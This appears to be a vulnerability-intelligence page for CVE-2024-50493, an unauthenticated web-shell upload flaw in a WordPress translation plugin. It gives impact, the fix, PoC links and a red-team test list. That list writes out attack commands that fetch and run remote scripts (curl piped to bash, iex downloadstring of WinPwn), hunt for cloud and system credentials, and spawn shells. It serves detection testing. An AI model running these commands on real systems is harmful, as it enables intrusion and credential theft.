CVE-2024-50493

CRITICAL POC Pub 29/10 Upd 11/05

Overview

This vulnerability is an unrestricted file upload flaw classified under CWE-434. The root cause lies in the failure of the masterhomepage Automatic Translation plugin to properly validate or restrict the types of files uploaded via its upload functionality. Specifically, the component responsible for handling file uploads does not enforce restrictions on dangerous file types, allowing malicious files to be uploaded to the web server.

Vulnerability Description

Unrestricted Upload of File with Dangerous Type vulnerability in masterhomepage Automatic Translation automatic-translation allows Upload a Web Shell to a Web Server.This issue affects Automatic Translation: from n/a through <= 1.0.4.

Impact

An unauthenticated attacker can upload a malicious web shell to the server, enabling full remote code execution with the privileges of the web server process. This can lead to complete system compromise, including data theft, service disruption, and lateral movement within the network. No user interaction or authentication is required to exploit this vulnerability, making it highly accessible to remote attackers.

Solution

Upgrade the masterhomepage Automatic Translation plugin to version 1.0.5 or later, where this arbitrary file upload vulnerability has been addressed. Detailed patch instructions and updates are available at the Patchstack advisory: https://patchstack.com/database/Wordpress/Plugin/automatic-translation/vulnerability/wordpress-automatic-translation-plugin-1-0-4-arbitrary-file-upload-vulnerability?_s_id=cve. Applying this update will enforce proper file type validation and prevent unauthorized uploads.

EPSS vs KEV Prediction — Evolution (30 days)

Overview

Analysis generation failed

Threat Summary

Analysis generation failed

Full Analysis

The vulnerability associated with unrestricted file uploads in the Automatic Translation feature of a web application presents a significant security risk. This flaw allows an attacker to upload files with dangerous types, such as web shells, directly to the server. The lack of stringent validation mechanisms for file types and content enables malicious actors to bypass security controls, leading to unauthorized access and control over the web server. The vulnerability is particularly concerning as it affects versions of the Automatic Translation tool up to and including 1.0.4, leaving many installations exposed to potential exploitation.

Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker can craft a malicious file, such as a PHP web shell, and use the file upload functionality of the Automatic Translation feature to upload it to the server. Once the file is successfully uploaded, the attacker can execute commands on the server, manipulate data, or even pivot to other systems within the network. This exploitation can occur through various means, including social engineering tactics to trick users into uploading the malicious file or directly targeting the upload functionality through automated scripts. The simplicity of the attack makes it accessible to a wide range of threat actors, from novice hackers to more sophisticated adversaries.

The real-world impact of this vulnerability can be severe, particularly for organizations relying on the affected product for their operations. Successful exploitation can lead to data breaches, unauthorized access to sensitive information, and potential disruption of services. The presence of a web shell on the server can facilitate further attacks, including lateral movement within the network, data exfiltration, and the deployment of additional malware. The business risks associated with such incidents are substantial, encompassing financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer data is compromised. Organizations may also face increased scrutiny from stakeholders and regulatory bodies, further compounding the impact of a successful attack.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, thorough input validation and sanitization should be enforced on all file uploads to ensure that only safe file types are accepted. This can include implementing strict whitelisting of allowed file types and employing file scanning technologies to detect potentially malicious content. Additionally, organizations should regularly update their software to the latest versions, as newer releases often contain security patches that address known vulnerabilities. Monitoring and logging of file upload activities can also help in detecting suspicious behavior, allowing for timely intervention before significant damage occurs.

In conclusion, the unrestricted file upload vulnerability in the Automatic Translation feature poses a critical threat to web applications, with the potential for devastating consequences if exploited. Organizations must prioritize the implementation of robust security measures, including stringent file validation, regular software updates, and proactive monitoring, to safeguard against this and similar vulnerabilities. By adopting a comprehensive security posture, businesses can mitigate the risks associated with file upload vulnerabilities and protect their assets from malicious actors.



CSURFACE threat intelligence has identified a significant shift in the exploitation landscape for CVE-2024-50493. A public proof-of-concept exploit has emerged on GitHub, enabling unauthenticated arbitrary file uploads that can lead to web shell deployment on affected systems. This development has elevated the CVSS score to a critical 10.0 and introduced a substantial EPSS score, reflecting a heightened likelihood of exploitation in the wild. Our telemetry indicates that exploitation tools leveraging this vulnerability are now accessible to a broader attacker base, increasing the risk of widespread compromise. The presence of a stable yet high EPSS score underscores persistent attacker interest and the potential for sustained exploitation campaigns. Consequently, the threat level has escalated from theoretical to imminent, demanding heightened vigilance from defenders as adversaries can now more readily weaponize this vulnerability without requiring authentication.

Affected Products

No CPE information available.

Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
PoC
 - 0 0 - View
RandomRobbieBF/CVE-2024-50493
Automatic Translation <= 1.0.4 - Unauthenticated Arbitrary File Upload
 RandomRobbieBF 0 0 2024-11-10 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2024-11-10
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities
100% file_upload
Remote Code Execution
29% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs
30%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-50493
patchstack.com
GitHub CVE vdb-entry
https://patchstack.com/database/Wordpress/Plugin/automatic-translation/vulnerability/wordpress-automatic-translation-plugin-1-0-4-arbitrary-file-upload-vulnerability?_s_id=cve